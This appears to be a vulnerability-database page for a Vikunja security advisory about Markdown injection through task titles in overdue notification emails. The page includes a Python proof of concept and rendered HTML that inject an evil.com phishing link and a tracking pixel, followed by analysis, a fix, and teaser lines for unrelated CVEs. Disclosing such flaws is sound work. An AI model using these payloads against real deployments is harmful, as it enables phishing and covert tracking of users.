Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Lifecycle Timeline
4DescriptionGitHub Advisory
Summary
Task titles are embedded directly into Markdown link syntax in overdue email notifications without escaping Markdown special characters. When rendered by goldmark and sanitized by bluemonday (which allows <a> and <img> tags), injected Markdown constructs produce phishing links and tracking pixels in legitimate notification emails.
Details
The overdue task notification at pkg/models/notifications.go:360 constructs a Markdown list entry:
overdueLine += `* [` + task.Title + `](` + config.ServicePublicURL.GetString() + "tasks/" + strconv.FormatInt(task.ID, 10) + `) ...`The task title is placed inside Markdown link syntax [TITLE](URL). A title containing ] and [ breaks the link structure. The assembled Markdown is converted to HTML by goldmark at pkg/notifications/mail_render.go:214, then sanitized by bluemonday's UGCPolicy. Since UGCPolicy intentionally allows <a href> and <img src> with http/https URLs, the injected links and images survive sanitization and reach the email recipient.
The same pattern affects multiple notification types at notifications.go lines 72, 176, 227, and 318.
Proof of Concept
Tested on Vikunja v2.2.2 with SMTP enabled (MailHog as sink).
import requests
TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"
token = requests.post(f"{API}/login",
json={"username": "alice", "password": "Alice1234!"}).json()["token"]
h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
proj = requests.put(f"{API}/projects", headers=h, json={"title": "Shared"}).json()
# create task with markdown injection in title + past due date
requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={
"title": 'test](https://evil.com) [Click to verify your account',
"due_date": "2026-03-26T00:00:00Z"})
# create task with tracking pixel injection
requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={
"title": '',
"due_date": "2026-03-26T00:00:00Z"})
# enable overdue reminders for the user
requests.post(f"{API}/user/settings/general", headers=h, json={
"email_reminders_enabled": True,
"overdue_tasks_reminders_enabled": True,
"overdue_tasks_reminders_time": "09:00"})
# wait for the overdue notification cron to fire, then inspect the emailThe overdue notification email HTML contains:
<li>
<a href="https://evil.com">test</a>
<a href="http://vikunja.example/tasks/5">Click to verify your account</a>
(Shared), since one day
</li>
<li>
<a href="http://vikunja.example/tasks/6">
<img src="https://evil.com/track.png?user=bob">
</a>
(Shared), since one day
</li>The attacker's evil.com link appears as a clickable link in a legitimate Vikunja notification email. The tracking pixel loads when the email is opened.
Impact
An attacker with write access to a shared project can craft task titles that inject phishing links or tracking images into overdue email notifications sent to other project members. Because these links appear within legitimate Vikunja notification emails from the configured SMTP server, recipients are more likely to trust and click them.
Recommended Fix
Escape Markdown special characters in task titles before embedding them in Markdown content:
func escapeMarkdown(s string) string {
replacer := strings.NewReplacer(
"[", "\\[", "]", "\\]",
"(", "\\(", ")", "\\)",
"!", "\\!", "`", "\\`",
"*", "\\*", "_", "\\_",
"#", "\\#",
)
return replacer.Replace(s)
}--- *Found and reported by aisafe.io*
AnalysisAI
Vikunja task title injection in overdue email notifications allows authenticated attackers to embed phishing links and tracking pixels in legitimate SMTP emails by breaking Markdown link syntax with special characters. The vulnerability affects task notification rendering across multiple notification types in Vikunja prior to v2.3.0, where task titles are concatenated directly into Markdown without escaping, survive goldmark rendering and bluemonday sanitization (which intentionally permits <a> and <img> tags), and reach email recipients as trusted-source links within official Vikunja notifications.
Technical ContextAI
Vikunja constructs overdue task notifications by concatenating user-controlled task titles directly into Markdown link syntax at pkg/models/notifications.go:360 without escaping Markdown special characters. The constructed Markdown is rendered to HTML by the goldmark parser and then sanitized by bluemonday's UGCPolicy at pkg/notifications/mail_render.go:214. The root cause (CWE-79: Improper Neutralization of Input During Web Page Generation) stems from the assumption that goldmark → bluemonday sanitization provides output encoding protection; however, bluemonday's UGCPolicy explicitly permits <a href> and <img src> attributes with http/https schemes for legitimate use cases. When a task title contains Markdown metacharacters like ]( and [, it breaks the intended link structure and allows injection of attacker-controlled URLs that survive the sanitization boundary. The affected code pattern appears in multiple notification types (task comments, assignment notifications, list sharing notifications) at lines 72, 176, 227, 318, and 360 in notifications.go, indicating a systemic input validation gap in the notification rendering pipeline.
RemediationAI
Upgrade Vikunja to v2.3.0 or later, which includes the fix to escape Markdown special characters in task titles before rendering notifications. The fix implements a replacer function to escape characters including [, ], (, ), !, backtick, *, _, and # in user-controlled strings before Markdown processing. For installations unable to upgrade immediately, the mitigation is to restrict task creation and editing permissions to trusted internal users only, reducing the attack surface to authenticated adversaries with project write access. See the official security advisory at https://github.com/go-vikunja/vikunja/security/advisories/GHSA-45q4-x4r9-8fqj and the fix details at https://github.com/go-vikunja/vikunja/pull/2580 for implementation verification.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-21427
GHSA-45q4-x4r9-8fqj